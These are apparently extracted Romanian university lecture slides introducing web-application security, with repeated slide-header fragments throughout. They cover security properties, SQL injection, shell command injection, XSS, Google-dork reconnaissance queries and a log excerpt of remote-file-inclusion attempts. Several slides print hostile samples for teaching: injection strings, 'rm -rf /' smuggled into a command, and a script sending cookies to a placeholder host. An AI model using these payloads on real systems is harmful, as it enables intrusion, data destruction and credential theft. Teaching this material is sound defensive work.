Post on 28-Nov-2014
description
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 1
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
ProgramareProgramare WebWeb IntroducereIntroducere in in securitatesecuritate
Dr. Sabin-Corneliu BuragaFacultatea de Informatica
Universitatea “A.I.Cuza” – Iasi, Romania
http://www.infoiasi.ro/~busaco/
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 2
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
• Preliminarii
• Aspecte privind securitatea datelor
• Atacuri Web
• Prevenirea & supravietuirea
• Monitorizarea & testarea
• De retinut
cuprinscuprins
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 3
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
preliminariipreliminarii
• Incident de securitate ≡
eveniment aparut in cadrul retelei, cu implicatii asupra securitatii unui calculator sau a retelei– Provenind din interiorul ori exteriorul retelei– In cazul nostru, priveste serverul Web,
clientul Web si/sau alte componente software aditionale (e.g., serverul de stocare a datelor)
• Multe protocoale de baza ale Internetului (inclusiv HTTP) nu au luat in calcul vulnerabilitatile ce pot surveni
• Cracker versus hacker
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 4
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
preliminariipreliminarii
• Vulnerabilitate ≡
slabiciune a unui sistem hardware/software ce permite utilizatorilor neautorizati sa aiba acces asupra sa
• Nici un sistem nu este 100% sigur• Vulnerabilitatile apar si datorita
proastei administrari
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 5
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
preliminariipreliminarii
• Cauzele existentei vulnerabilitatilor– Bug-uri (erori) existente in programe
(script-uri, servere Web, navigatoare,...), introduse deseori neintentionat
– Ignorarea/nedocumentarea bug-urilor existente (cunoscute)
– Configurarea necorespunzatoare a programelor, serverelor si retelelor
– Lipsa suportului din partea producatorilor– Comoditatea sau necunoasterea problemelor
de securitate de catre administrator ori de conducerea organizatiei
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 6
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
aspecteaspecte
• Aspecte privind securitatea datelor:–Confidentialitatea–Autentificarea–Autorizarea–Integritatea–Nerepudierea–Intimitatea (privacy)–Disponibilitatea
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 7
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
aspecteaspecte
• Confidentialitatea– Imposibilitatea unei terte entitati sa aiba acces
la datele vehiculate intre doi receptori– Solutii:
• conexiuni private intre cele 2 puncte terminale ale canalului de comunicatie; datele circula printr-un tunel oferit de o retea privata virtuala (VPN – Virtual Private Network)
• criptarea datelor via diverse tehnici (biblioteci specializate si/sau oferite de mediile de dezvoltare)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 8
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
aspecteaspecte
• Autentificarea– Mecanism ce permite utilizatorilor sa acceseze
un serviciu dupa verificarea identitatii utilizatorului (uzual, pe baza de nume + parola)
– Solutii: • serverul Web ofera suport pentru autentificari
de baza sau bazate pe algoritmi de tip digest (e.g., MD5)
• folosirea unor tehnici speciale la nivel de aplicatie
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 9
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
aspecteaspecte
• Autorizarea– Specifica actiunile (rolurile) pe care un utilizator
le poate realiza; asociata autentificarii– Se permite administratorului definirea politicilor
de control al accesului la servicii– Solutii:
• drepturi de acces (permisiuni) + liste de control al accesului (ACL – Access Control List)
• controlul accesului bazat pe roluri (RBAC – Role-Based Access Control)
• tehnici de tip SSO (Single Sign-On) – e.g., OpenID
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 10
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
aspecteaspecte
• Integritatea–In acest context, implica detectarea
incercarilor de modificare neautorizata a datelor transmise
–Solutii: • algoritmi de tip digest• semnaturi digitale
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 11
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
aspecteaspecte
• Nerepudierea– Expeditorul mesajului nu poate afirma
ca nu l-a trimis– Solutie: certificate digitale
• stocheaza datele privind identitatea unei entitati detinatoare a unui secret (parola, serie a cartii de credit, certif. digital,…)
• emise de o autoritate de certificare (CA – Certification Authority)
• verificate de o autoritate de inregistrare (RA – Registration Authority)
Infrastructura cu chei publice(PKI – Public
Key Infrastruc.)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 12
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
aspecteaspecte
• Disponibilitatea–O anumita resursa sa poata fi accesata
la momentul oportun–Cauze ale indisponibilitatii:
• atacuri de refuz al serviciilor DoS (Denial Of Service)
• atacuri distribuite de tip DDoS (Distributed DoS)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 13
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
aspecteaspecte
• Intimitatea– Confundata, deseori, cu confidentialitatea– Vizeaza drepturile ce trebuie respectate privind
caracterul (subiectul) datelor vehiculate– Brese:
• stocarea necorespunzatoare a datelor la nivel de server (information disclosure)
• atacuri de tip XSS (Cross-Site Scripting)• atacuri de tip phishing• configurarea necorespunzatoare a sistemelor
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 14
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri
• Securitatea Web trebuia sa ia in consideratie:– Clientul: interactiune, date personale (cookie-uri),
transferuri asincrone (via AJAX),…– Datele in tranzit: securitatea retelei, schimb sigur
de mesaje, ne-repudiere– Serverul: securitatea serverului ori serverelor,
securitatea aplicatiilor, disponibilitatea serviciilor
• Atacurile pot viza oricare din cele 3 aspecte!
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 15
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri• SQL injection
–Scrierea unor interogari SQL care permit afisarea, alterarea, stergerea de date din baze de date via formulare Web ori direct prin intermediul URI-ului
– Exemplu: select * from studs where name=$name and pass=$pass cu $name preluat din formular: '' or 1=1 --
– Exemplu: http://www.sit.org/access_client.php?client=3 in script: select credit_card from clients where client=$client ce se intimpla daca URI-ul este http://www.sit.org/access_client.php?client=client ? dar daca in loc de select era un delete?
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 16
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri• SQL injection – variatii
– Crearea de interogari SQL incorecte pentru a avea acces la mesaje de eroare “interesante”
– Exemplu: http://www.sit.org/prog.php?id=1+OR+gh=1– Se poate obtine un mesaj precum:[Microsoft][ODBC SQL Server Driver] [SQL Server]Invalid column name ’gh’.SELECT group_id, securityName, maxSalesCharge, price,security_id, trade_date FROM fundsWHERE group_id = 1 OR gh=1 ORDER BY price DESC
– Atacatorul poate continua, de pilda, cu http://www.sit.org/prog.php?id=1;DELETE+FROM+funds+--
– Solutii: proceduri stocate, neutralizarea meta-caracterelor SQL, prepared statements,…
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 17
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri
• Shell command injection– Posibilitatea de a rula comenzi externe din cadrul
script-urilor CGI– Exemplu: fie liniile Perl
$utiliz = $form{"nume"}; print `finger $utiliz`;
– Ce se intimpla daca din formular se preia root; rm –rf / ?
– Idem si pentru programe scrise in alte limbaje interpretate (e.g., PHP) sau chiar cele C – poisonous null-byte attack
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 18
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri
• Cross-Site Scripting (XSS)– “Injectarea” in cadrul sistemului,
pentru executia direct in browser, a script-urilor JavaScript/VBScript• Functioneaza mai ales in cadrul siturilor Web
permitind interactiunea cu utilizatorul (e.g., forumuri, blog-uri, wiki-uri)
• Poate conduce si la furtul identitatii (phishing) sau la plasarea de cod malware la client: Cross-Site Request Forgery
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 19
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri• Cross-Site Scripting (XSS)
– Exemplu: <img src=“javascript:cod” /> ce redirectioneaza utilizatorul spre alt sit, preia valori de cookie-uri ori blocheaza browser-ul
– Alte exemple: <script>
document.location.replace ( "http://www.sit.org/furt.php" + "?c=" + document.cookie);
</script>
<script> for (i = 0; i < 3000; i++)
window.open ("http://www.sit.org/"); </script>
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 20
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri
• Cross-Site Scripting (XSS) – variatii– Folosirea de cod JavaScript pentru a modifica
textul redat de navigatorul Web utilizatorului– Adoptarea de tehnici de social engineering:
manipularea utilizatorilor de catre atacator (prin intimidare, santaj, autoritate, flatare, substitutie de persoana, vanitate etc.)
– Furtul de parole
– Solutii: inhibarea folosirii tag-urilor HTML, HTML escaping, filtrarea marcatorilor, separarea prezentarii datelor de procesarea efectiva etc.
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 21
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri
• O problema o pot cauza URI/IRI-urile (revezi cursul 1)– Exemplu: http://www.google.com@63. 241.3.69/– Codificarea defectuoasa a codurilor hexa ⇒ vulnerabilitati in cadrul unor servere Web
– Includerea caracterelor Unicode – probleme la decodificarea URL-urilor considerate “sigure”
– Siturile avind domenii internationale (IDN – International Domain Names) – atacuri bazate pe homografie
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 22
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri
• O alta problema: folosirea parolelor– 93% din procesele de autentificare folosesc parole– Cu cit utilizatorul trebuie sa retina mai multe
parole, cu atit sistemul de protectie via parole e predispus la brese in securitate:
• Alegerea unor parole slabe• Partajarea parolelor (grupuri de prieteni, colegi,...)• Scrierea parolelor pe hirtie (eventual, la vedere)• Folosirea unei aceleasi parole timp indelungat,
pentru mai multe aplicatii/sisteme– Solutii: Single Sign-On (SSO),
identificare biometrica etc.
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 23
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri
• O alta problema: troienii Web– Situri (adrese) aparent folositoare– Se pot folosi in conjunctie cu XSS sau
tehnici de tip social engineering– Solutie: implementarea unui sistem de tichete
(ticket system) – fiecare actiune ce poate fi realizata de utilizator are asociat un tichet (numar) aleatoriu, folosit o singura data
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 24
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri
• Detectarea posibilelor vulnerabilitati (datorate unor configuratii incorecte ori implicite ale serverelor si/sau aplicatiilor Web) se poate realiza apelind la un motor de cautare–Vezi si proiectul “Google Hack” Honeypot:
http://ghh.sourceforge.net/
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 25
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri
• Exemple de actiuni:– Detectia versiunilor de programe
avind bug-uri cunoscute: “Apache/2.0.52 server at”– Accesul la fisiere .bak: inurl:index.php.bak– Accesarea intranet-ului: intitle:intranet– “Vinarea” de e-mail-uri:
“@gmail.com” –www.gmail.com– Detectarea paginilor de administrare: “admin login”– Gasirea unor instalari implicite:
intitle:”welcome to” intitle:internet IIS– Localizarea interfetelor spre sistemele
de baze de date: inurl:main.php phpMyAdmin
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 26
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
atacuriatacuri
• Exemple de actiuni (continuare):– Localizarea siturilor bazate pe aplicatii Web
recunoscute ca fiind vulnerabile: inurl:custva.asp– Cautarea de aplicatii instalate pe diverse masini
sau a fisierelor de jurnalizare: inurl:error.log +filetype:log –cvs
– Gasirea numelor de utilizatori: filetype:conf inurl:proftpd.conf –sample
– Cautarea unor mesaje de eroare generate de aplicatii/servere de baze de date: “ASP.NET_SessionId” “data source=”
– Vezi si http://johnny.ihackstuff.com/
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 27
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
prevenireaprevenirea
• Tehnici:– Nivelul retea: firewall-uri– Nivel de transport: TLS (Transport Layer
Security) – autentificarea & confidentialitatea mesajelor HTTP
• Autentificare via certificate digitale• Confidentialitate via criptare
– Nivel de aplicatie: securitate persistenta a mesajelor vehiculate
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 28
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
prevenireaprevenirea
• Studiu de caz: consultarea fisierelor de jurnalizare
194.87.32.44 "GET /~sd/components/com_forum/download.php? phpbb_root_path=http://ccfish.biz/c.txt? HTTP/1.1" 404 1015
83.169.102.168 "GET /~fl/An1/template.php? name=http://members.lycos.co.uk/djomlauhc/x.dat? HTTP/1.1" 404 1015
89.37.44.128 "GET /common/labs.xsl HTTP/1.1" 404 119284.9.62.22 "GET /edit.vip.tpe.yahoo.com/config/isp_verify_user?
l=voodoostri&p=6969 HTTP/1.1" 404 1158194.109.52.127 "GET /~ad/templates/pb/language/lang_nl.php?
temppath=http://blog1564448.123-reg-blogs.co.uk/c.txt? HTTP/1.1" 404 101586.54.21.123 "GET /MSOffice/cltreq.asp?UL=1&ACT=4&BUILD=2614
&STRMVER=4&CAPREQ=0 HTTP/1.0" 404 101586.54.21.123 "GET /_vti_bin/owssvr.dll?UL=1&ACT=4&BUILD=2614
&STRMVER=4&CAPREQ=0 HTTP/1.0" 404 1015
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 29
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
supravietuireasupravietuirea
• Supravietuirea ≡
capacitatea unui sistem (calculator/retea) de a-si indeplini misiunea, in timp util, in pofida atacurilor, defectelor sau accidentelor
• Atac ≡
eveniment potential distrugator provocat intentionat de persoane rau-voitoare
• Defect ≡
eveniment potential distrugator cauzat de deficiente ale sistemului sau ale unui factor de care depinde sistemul (e.g., defecte hardware, bug-uri software, erori ale utilizatorilor)
• Accident ≡
evenimente aleatoare (neprevazute); exemple: dezastre naturale sau caderi de tensiune
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 30
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
supravietuireasupravietuirea
• Sistemul trebuie sa-si duca pina la capat misiunea chiar daca unele componente sau parti din sistem sint afectate ori scoase din uz– Exemplu: oferirea unei copii read-only
a forumului de discutii sau blog-ului asociat unui domeniu/produs
• Sistemul trebuie sa sustina macar indeplinirea functiilor vitale (mission-critical)– Identificarea serviciilor esentiale
(e.g., acces la lista produselor in cazul unui sit de comert electronic)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 31
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
supravietuireasupravietuirea
• Proprietati ale sistemului:– Rezistenta la atacuri ≡
strategii de respingere
a atacului (i.e. validarea obligatorie a datelor – via expresii regulate, scheme XML etc., autentificarea utilizatorilor, acordarea privilegiilor minime)
– Recunoasterea atacurilor si efectelor lor ≡
strategii pentru restaurarea informatiilor, limi-
tarea efectelor, mentinerea/restaurarea serviciilor compromise (e.g., recurgerea la ferme de servere Web – Web farms, RAID, SAN (Storage Area Network), backup-uri,...)
– Adaptarea la atacuri ≡
strategii pentru imbunatatirea nivelului (sansei) de supravietuire (invatarea din greseli)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 32
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
monitorizaremonitorizare & & testaretestare
• Teste de verificare a:– Capacitatii de deservire a clientilor– Robustetei– Rularii in situatii extreme
• Se iau in consideratie:– Tipul navigatorului (+setarile implicite)– Platforma (hardware, sistem de operare,...)– Interfata (rezolutia ecranului, adincimea de
culoare, largimea de banda,...)– Politica de caching (+siguranta proxy-ului)– Suportul pentru redarea unor tipuri de
documente (securitatea folosirii plugin-urilor)– Limbajul/limbajele de programare utilizate
(inclusiv, serverul/serverele de aplicatii)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 33
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
de de retinutretinut
• Securitatea unei aplicatii Web:– Trebuie sa ia in consideratie arhitectura, logica,
codul-sursa si continutul in ansamblu– Nu vizeaza vulnerabilitatile sistemului de operare
ori ale programelor auxiliare• Vulnerabilitatile unui sit nu sint “celebre” si
vor fi independente deseori de securitatea sistemului pe care este exploatat situl
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 34
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
de de retinutretinut
• Tipuri de vulnerabilitati specifice: –Probleme de autentificare–Managementul sesiunilor–Injectarea de scripturi (XSS)
ori comenzi SQL –Expunerea (involuntara) a informatiilor
delicate (information disclosure)–Accesul la codul-sursa ori la fisierele de
configurare a aplicatiei Web
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 35
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
de de retinutretinut
• Riscurile de securitate nu vizeaza numai proprietarul sitului, ci si utilizatorul final
• Disconforturi cauzate de un sit nesigur:– Financiare (pierdere de bani/informatii)– De performanta
(blocarea navigatorului, incetinirea actiunilor,...)– Psihologice (insatisfactie)– Sociale (e.g., incapacitatea de munca,
lipsa comunicarii cu partenerii de lucru etc.)– De timp
(navigare greoaie, deturnare spre alt sit,...)
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 36
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
• Preliminarii
• Aspecte privind securitatea datelor
• Atacuri Web
• Prevenirea & supravietuirea
• Monitorizarea & testarea
• De retinut
rezumatrezumat
Dr. Sabin Buraga http://www.infoiasi.ro/~busaco/ 37
Te
hn
olo
gii
Te
hn
olo
gii
We
bW
eb
200
720
07
Intrebari…?